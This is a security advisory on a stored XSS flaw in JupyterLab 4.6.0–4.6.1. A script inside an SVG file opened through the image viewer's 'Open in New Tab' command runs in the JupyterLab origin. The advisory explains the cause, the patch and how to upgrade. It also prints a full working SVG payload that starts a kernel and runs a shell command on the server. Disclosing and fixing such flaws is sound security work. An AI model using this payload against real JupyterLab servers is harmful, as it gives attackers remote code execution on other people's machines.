highJul 22, 2026

JupyterLab Image Viewer Stored XSS via Malicious SVG File

Shubham Kandhare
Security Engagement Manager, SecureLayer7

JupyterLab's image viewer passes SVG files directly to a new browser tab without sanitization, letting any embedded JavaScript run in the JupyterLab origin and potentially execute commands on the…

Packagejupyterlab
Ecosystempip
Affected>= 4.6.0, <= 4.6.1
Fixed in4.6.2

The problem

JupyterLab versions 4.6.0 and 4.6.1 include an 'Open in New Tab' command in the image viewer. When triggered on an SVG file, the extension constructs a raw data URL from the file's contents and navigates a new tab to it. That new tab runs in the same browser origin as the JupyterLab server.

Because SVG is an XML format that supports inline <script> elements, any script inside the file executes with full access to the JupyterLab origin. The advisory classifies this as high severity because XSS in JupyterLab can pivot to remote code execution on the backing server via the Jupyter REST API.

Proof of concept

A working proof-of-concept for this issue in jupyterlab, with the exact payload below.

javascript
<!-- malicious.svg: place in any accessible path, then open in JupyterLab image viewer and use 'Open in New Tab' -->
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <circle cx="50" cy="50" r="40" fill="red"/>
  <script type="text/javascript">
    // Runs in the JupyterLab origin. Example: exfil token or run a kernel command.
    fetch('/api/kernels', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({name: 'python3'})
    }).then(r => r.json()).then(k => {
      const ws = new WebSocket(
        location.origin.replace('http','ws') +
        '/api/kernels/' + k.id + '/channels'
      );
      ws.onopen = () => ws.send(JSON.stringify({
        header: {msg_type:'execute_request', msg_id:'x1',
                 username:'', session:'', date:'', version:'5.2'},
        parent_header:{}, metadata:{}, buffers:[],
        content: {code:'import os; os.system("id > /tmp/pwned")',
                  silent:false}
      }));
    });
  </script>
</svg>

The pre-patch imageviewer-extension treated SVG files identically to raster images such as PNG and JPEG. When the user clicked 'Open in New Tab', the extension read the raw SVG text and opened it in a new browser tab under the JupyterLab origin. Browsers parse SVG as XML and execute any <script> content, so the injected JavaScript ran with the same-origin privileges of the JupyterLab server.

The patch separates SVG into a distinct TEXT_FILE_TYPES list and removes it from the binary FILE_TYPES array. The new-tab path for text-based image types no longer renders SVG as a live document in the JupyterLab origin, eliminating the script-execution surface.

The root cause is CWE-79: unsanitized user-supplied SVG content injected into a same-origin browsing context.

The fix

Upgrade to JupyterLab 4.6.2 (or 4.5.10 for the 4.5.x branch). If an immediate upgrade is not possible, disable the vulnerable plugin with: jupyter labextension disable @jupyterlab/imageviewer-extension:plugin and confirm with jupyter labextension list.

Reported by krassowski.

References: [1][2][3][4][5][6]

Related research